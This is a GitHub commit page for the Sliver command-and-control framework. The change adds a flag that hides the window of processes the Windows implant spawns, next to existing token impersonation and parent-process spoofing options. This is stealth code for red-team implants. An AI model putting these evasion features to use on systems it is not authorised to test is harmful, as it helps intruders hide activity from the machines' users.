Skip to content

Commit

Permalink
Merge pull request #1301 from BishopFox/windows-hidden-exec
Browse files Browse the repository at this point in the history
Hidden windows for Executed Processes on Windows
  • Loading branch information
moloch-- committed Jun 16, 2023
2 parents 853537d + 4b67745 commit f882f52
Show file tree
Hide file tree
Showing 5 changed files with 43 additions and 23 deletions.
24 changes: 15 additions & 9 deletions client/command/exec/execute.go
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
args = args[1:]

token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
Expand All @@ -64,16 +65,21 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str

ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || ppid != 0 {
if token || hidden || ppid != 0 {
if session.OS != "windows" {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
return
}
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: ppid,
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
HideWindow: hidden,
PPid: ppid,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Expand Down
3 changes: 2 additions & 1 deletion client/command/sliver.go
Original file line number Diff line number Diff line change
Expand Up @@ -456,7 +456,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
}
sliver.AddCommand(executeCmd)
Flags("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (windows only)")
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("output", "o", false, "capture command output")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
Expand All @@ -465,6 +465,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")

f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
Expand Down
8 changes: 5 additions & 3 deletions implant/sliver/handlers/handlers_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -365,6 +365,8 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
if execReq.UseToken {
cmd.SysProcAttr.Token = syscall.Token(priv.CurrentToken)
}
// Hide the window if requested
cmd.SysProcAttr.HideWindow = execReq.HideWindow
if execReq.PPid != 0 {
err := spoof.SpoofParent(execReq.PPid, cmd)
if err != nil {
Expand Down Expand Up @@ -794,11 +796,11 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
}

// Stub since Windows doesn't support UID
func getUid(fileInfo os.FileInfo) (string) {
func getUid(fileInfo os.FileInfo) string {
return ""
}

// Stub since Windows doesn't support GID
func getGid(fileInfo os.FileInfo) (string) {
return ""
func getGid(fileInfo os.FileInfo) string {
return ""
}
30 changes: 20 additions & 10 deletions protobuf/sliverpb/sliver.pb.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions protobuf/sliverpb/sliver.proto
Original file line number Diff line number Diff line change
Expand Up @@ -442,6 +442,7 @@ message ExecuteWindowsReq {
string Stdout = 4;
string Stderr = 5;
bool UseToken = 6;
bool HideWindow = 7;
uint32 PPid = 10;

commonpb.Request Request = 9;
Expand Down

0 comments on commit f882f52

Please sign in to comment.